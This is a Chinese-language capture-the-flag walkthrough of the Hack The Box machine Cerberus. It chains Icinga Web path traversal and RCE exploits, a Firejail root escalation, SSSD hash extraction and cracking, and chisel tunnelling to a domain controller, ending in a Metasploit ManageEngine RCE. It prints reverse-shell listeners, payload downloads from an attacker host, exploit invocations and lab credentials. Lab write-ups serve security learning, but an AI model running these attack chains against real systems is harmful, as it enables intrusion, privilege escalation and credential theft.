HTB-Cerberus
一、思路概要
1.信息收集找到icinga服务;
2.CVE-2022-24716(目录遍历)发现域控主机和icinga账户;
3.CVE-2022-24715(RCE)获取www-data用户权限,linpeas分析发现/usr/bin/firejail;
4.CVE-2022-31214(Firejail本地提权)获取root权限,并读取SSSD缓存找到域控账户;
5.fscan扫域控主机端口发现5985(Winrm服务);
6.chisel做代理将5985端口流量代理到本地,用evil-winrm登录域控主机;
7.发现ManageEngine ADSelfService Plus服务,chisel做socks代理,访问9251服务,MSF提权。
二、信息收集
Nmap
nmap -A 10.10.11.205
开放端口8080,URL:http://icinga.cerberus.local:8080/icingaweb2
添加域名到hosts文件
echo "10.10.11.205 icinga.cerberus.local" >> /etc/hosts
访问URL,界面如下
三、CVE-2022-24716(目录遍历)
google搜索关键字:icinga exploit
CVE-2022-24716:https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/
访问:http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts
确认存在目录遍历,且可看到有域控,IP为172.16.22.1
又找到如下文章
https://exploit-notes.hdks.org/exploit/web/icinga-web-pentesting/
Icinga官方配置文档:https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/
读到如下敏感信息
username = "matthew"
password = "IcingaWebPassword2023"
成功登录
四、CVE-2022-24715(RCE)
参考刚才的文章,复现远程代码执行漏洞CVE-2022-24715
先监听端口
nc -lvnp 9898
然后生成PEM文件
ssh-keygen -m pem

执行如下命令
Exploit:https://github.com/JacobEbben/CVE-2022-24715/blob/main/exploit.py
python3 CVE-2022-24715.py -t http://icinga.cerberus.local:8080/icingaweb2/ -I 10.10.14.8 -P 9898 -u matthew -p IcingaWebPassword2023 -e cert.pem
注:图中IP(10.10.14.35)与命令不一致是由于靶机环境不稳定,打靶期间openvpn重连过
成功反弹到shell,用户www-data,权限比较低
切换成交互式shell,便于执行命令
python3 -c 'import pty;pty.spawn("/bin/bash")'
本地kali开启http服务,传一个linpeas到靶机(此HTTP服务建议一直开着,后续会传好几个文件)
python3 -m http.server 80
靶机的shell窗口,依次执行如下命令
cd /tmp
wget http://10.10.14.8:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
linpeas分析结果中,找到如下图的信息,/usr/bin/firejail不是一个常规文件
五、CVE-2022-31214(Firejail本地提权)
google搜索关键字:firejail exploit
https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
把以上链接的代码复制到本地kali的CVE-2022-31214.py文件中,然后在靶机的shell窗口用wget从本地下载,依次执行如下命令
wget http://10.10.14.8:80/CVE-2022-31214.py
chmod +x CVE-2022-31214.py
python3 CVE-2022-31214.py
在本地kali开一个新终端窗口,再弹一个shell回来,然后依次执行下列命令,成功获取root权限
python3 -c 'import pty;pty.spawn("/bin/bash")'
firejail --join=94129 #此处94129换成对应生成的值
su -
linpeas结果中,还看到如下内容
SSSD:https://sssd.io/docs/introduction.html
在如下目录位置查看缓存
root@icinga:/var/lib/sss/db# strings cache_cerberus.local.ldb
matthew@cerberus.local
$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0
爆破出hash值
john -w=/usr/share/wordlists/rockyou.txt hash.txt
147258369
fscan扫域控主机(172.16.22.1)端口,看到5985端口开放
wget http://10.10.14.8:80/fscan_amd64
chmod +x fscan_amd64
./fscan_amd64 -h 172.16.22.1 -p 1-65535
六、Winrm服务登录域控
google关键词:5985端口
搜到Winrm服务
用chisel把域控主机5985端口流量转发到本地kali
Kali以服务端运行chisel
chisel server -p 9899 --reverse
靶机以客户端运行chisel
wget http://10.10.14.8:80/chisel
chmod +x chisel
./chisel client --max-retry-count=1 10.10.14.8:9899 R:5985:172.16.22.1:5985
靶机执行完上述命令后,在本地kali可看到如下界面,最后一行表示流量转发连接已建立
在本地kali用evil-winrm登录Winrm服务
evil-winrm -i 127.0.0.1 -u matthew -p 147258369
userflag在C:\Users\matthew\Desktop目录下,依次执行如下命令成功获取userflag
cd ../Desktop
type user.txt
从本地kali传一个winPEAS到域控主机,运行一下,发现运行到一半会报错中断,也没什么有价值的
./winPEASany.exe
在C:\Program Files (x86)
目录看到ManageEngine服务
进到ManageEngine目录,看到ADSelfService Plus服务
七、ManageEngine ADSelfService Plus服务提权
google关键字:ManageEngine ADSelfService Plus port
官方文档:https://www.manageengine.com/products/self-service-password/help/admin-guide/Admin/connection.html
从官方文档中看到ADSelfService Plus默认端口是8888(http)和9251(https)
因为有http服务,所以需要做一个socks代理
本地kali以服务端运行chisel
chisel server -p 9900 --reverse
靶机以客户端运行chisel
cd "C:\Users\matthew\Desktop"
curl 10.10.14.8/chisel.exe -o chisel.exe
./chisel.exe client --max-retry-count=1 10.10.14.8:9900 R:1080:socks
靶机运行完上述命令后,本地kali可看到如下界面,表示socks代理已建立
目前为止,建立了两条代理路线
10.10.14.8(本地kali) | 172.16.22.1(域控主机) |
---|---|
9899端口 | 5985端口(Winrm服务) |
9900端口 | 1080(socks代理,为了连接9251端口服务) |
在本地hosts文件添加如下条目,并把最开始添加的那条10.10.11.205的记录给注释掉
127.0.0.1 cerberus.local icinga.cerberus.local dc.cerberus.local
浏览器的代理插件修改代理如下
然后浏览器访问:https://dc.cerberus.local:9251,得到如下界面

用之前获得的账号密码登录
matthew@cerberus.local
147258369
登录成功是如下界面,在URL可看到guid,在F12控制台可看到请求头有一串编码
base64解码、格式化之后,得到如下代码,看到Issuer
启动MSF,搜索ADSelfService的exploit
msfconsole
search ADSelfService
选中exploit并设置参数(注意设置socks代理)
use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
set RHOSTS 172.16.22.1
set LHOST 10.10.14.8
set AutoCheck false
set ReverseAllowProxy true
set Proxies socks5:127.0.0.1:1080
run
运行exploit,成功获取system权限

参考
https://hackmd.io/@b3n5/rJRSRUGBn
https://blog.csdn.net/qq_58869808/article/details/129786875
https://www.ngui.cc/article/show-1006958.html?action=onClick